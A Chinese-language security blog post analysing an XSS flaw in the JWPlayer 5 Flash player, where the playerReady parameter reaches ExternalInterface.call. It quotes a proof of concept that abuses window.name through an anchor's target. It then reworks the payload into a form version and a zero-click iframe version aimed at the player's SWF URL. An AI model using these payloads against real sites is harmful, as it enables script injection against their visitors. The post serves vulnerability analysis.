JWPlayer 5最新SWF XSS 0day分析及POC改進(jìn)
4月16號(hào),國(guó)外公布了jwplayer一個(gè)未修復(fù)的XSS 0day。jwplayer是全球范圍內(nèi)目前應(yīng)用最廣泛的flash播放組件,特別是國(guó)外眾多在線(xiàn)愛(ài)情動(dòng)作片網(wǎng)站。此前jwplayer曾爆出過(guò)一個(gè)XSS漏洞,影響非常廣泛。
根據(jù)老外的描述,這次的問(wèn)題主要是因?yàn)橹耙粋€(gè)XSS漏洞沒(méi)有修復(fù)完全,導(dǎo)致bypass再利用。原始的問(wèn)題是playerReady參數(shù)值未做過(guò)濾直接進(jìn)入ExternalInterface.call導(dǎo)致可以執(zhí)行任意JS代碼。在經(jīng)過(guò)官方的兩次小版本補(bǔ)丁后,這個(gè)問(wèn)題最終的修復(fù)方案是禁止playerReady參數(shù)值中存在{}和()符號(hào)。而這種簡(jiǎn)單的修復(fù)是可以被繞過(guò)的。
原文給出的POC:
<h2>Example 1:</h2>
<p>This example simply uses javascript:alert(1) as the value in window.name</p>
<p><a target="javascript:alert(1)" href="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">Click Me</a></p>
這里用到了兩個(gè)特性,一個(gè)是a標(biāo)簽target的framename,一個(gè)是window.name的跨域傳遞的特性。在a等其他可以使用的target屬性的標(biāo)簽中我們常用的是_blank,_parent,_self,_top四個(gè)值,而framename我們很少用到。framename相當(dāng)于指定一個(gè)窗口的名稱(chēng)并將文檔重定向到該窗口中進(jìn)行處理,因此framename就相當(dāng)于window.name。
這個(gè)POC就在a標(biāo)簽中用javascript:alert(1)偽協(xié)議作為了framename,漏洞URL指定location為window.name也就觸發(fā)了url。我們同樣可以用form等其他支持target屬性的標(biāo)簽來(lái)構(gòu)造poc:
<form action="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b" method="post" target="javascript:alert(1)">
<button type="submit">登錄</button>
</form>
但這種POC是需要交互的,就比較雞肋了,其實(shí)我們可以改進(jìn)成不需要用戶(hù)交互的形式。既然framename是窗口的名稱(chēng),那我們可以直接使用iframe并指定name為javascript:alert(1)。
<iframe name="javascript:alert(document.domain)"
src="http://player.longtailvideo.com/player.swf?playerReady=document.location=window.name%2b%27//%27%2b">
</iframe>
這樣我們的POC就可以自動(dòng)觸發(fā)了。